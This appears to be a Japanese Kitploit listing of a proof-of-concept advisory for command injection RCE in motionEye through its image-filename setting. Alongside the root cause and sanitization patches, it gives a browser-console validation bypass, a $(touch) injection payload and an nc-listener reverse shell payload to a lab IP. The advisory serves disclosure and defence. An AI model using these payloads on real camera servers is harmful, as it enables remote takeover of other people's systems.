Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
motionEye-RCE-through-config-parameter — この脆弱性のPoC手順 | Kitploit
ツール/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミング
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

この脆弱性のPoC手順

リポジトリを見る
21111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

クライアント側バリデーションのバイパスによるMotionEye RCE

概要

Dockerで実行されているMotionEyeインスタンスのセキュリティテスト中に、Web UI内のクライアント側バリデーションがバイパス可能であることが確認されました。これにより、ホストコンテナ上での実行をトリガーできるペイロードを含む任意の入力を送信できます。この問題は、悪用された場合にリモートコード実行(RCE)のリスクをもたらします。

影響を受けるバージョン: 0.43.1b4までの全バージョン
パッチ状況: まだパッチはありません。本アドバイザリに回避策を記載しています。
プロジェクトリファレンス: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


環境

  • ターゲット: Dockerで実行されているMotionEye
  • イメージ: ghcr.io/motioneye-project/motioneye:edge
  • 公開ポート: 9999(コンテナの8765にマッピング)
  • テスト認証情報: admin / 空のパスワード(デフォルト)

再現手順

1. コンテナのセットアップ

Dockerイメージのダウンロードを開始してコンテナを起動するには、次のコマンドを実行します

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
画像

2. バージョンの確認

root@kitploit:~
docker logs motioneye | grep "motionEye server"

結果: MotionEyeサーバー 0.43.1b4 画像

3. ファイルシステムへのアクセス

Dockerコンテナが起動したら、以下のコマンドを使用してコンテナのシェルにアクセスできます

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
画像

4. 初回アクセス

Webインターフェイスにアクセス:
http://127.0.0.1:9999
ログイン: admin(空のパスワード)

5. カメラのセットアップ

サンプルのRTSPネットワークカメラを追加しました。
画像

6. インジェクションの試行

「静止画像」>「画像ファイル名」に悪意のある実行コマンドを入力しましたが、クライアント側のバリデーションエラーが発生しました。

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

クライアント側のバリデーションによってブロックされました。
画像

画像

7. クライアント側バリデーションの発見

バリデーションを担当するスクリプトは /static/js/main.js?v=0.43.1b4 で、バリデーション条件を実装するために /static/js/ui.js?v=0.43.1b4 を参照しています。

ファイル: /static/js/main.js?v=0.43.1b4(/static/js/ui.js?v=0.43.1b4を参照)

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. バイパス手法

ブラウザのコンソールでconfigUiValid関数をオーバーライドすることで、すべてのバリデーションチェックをバイパスできます: ブラウザのコンソール(F12またはCtrl+Shift+I)に以下のスニペットを入力します

root@kitploit:~
configUiValid = function() { 
    return true; 
};
画像

9. ペイロードの実行

これで、バリデーションなしでペイロードを直接入力できます: 以下のように設定して適用します

設定:

  • キャプチャモード = インターバルスナップショット
  • 間隔 = 10
  • 画像ファイル名:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
画像

適用 → root権限でファイルが作成されました。

画像

影響: RCEの武器化

シンプルなリバースシェルの生成:

リスナー:

root@kitploit:~
nc -lvnp 4444
画像

注入されたペイロード:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
画像

結果: リモートシェルを取得しました。


根本原因とフロー

MotionEyeは、Webダッシュボードからのユーザー入力を、危険な文字をチェックせずにMotion設定ファイルへ直接書き込むため、脆弱です。たとえば、UIのimage_file_nameフィールドはバックエンド(config.py)に送信され、/etc/motioneye/camera-.confに保存されます。MotionEyeがMotionサービス(motionctl.start)を再起動すると、Motionプロセスがこの設定ファイルを読み取ります。picture_filenameフィールドに$(touch /tmp/test)のようなシェル構文が含まれている場合、Motionはそれをファイル名の一部として扱わず、実際のコマンドとして実行します。

サニタイズされていない入力がMotion設定ファイルに書き込まれる流れ:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


予防策

サニタイズ修正

ファイル: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
画像

サニタイズを適用:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

修正前: 画像 修正後: 画像


代替の解決策

ステップ1: Dockerを実行

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

ステップ2: コンテナにアクセス

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

ステップ3: 設定を変更

元のコード:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

以下のコードに置き換え:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
画像

ステップ4: 再起動

root@kitploit:~
docker restart motioneye
画像

代替パッチ

motion_camera_ui_to_dict(...)内:

元のコード:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

以下のコードに置き換え:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')

ツールをダウンロード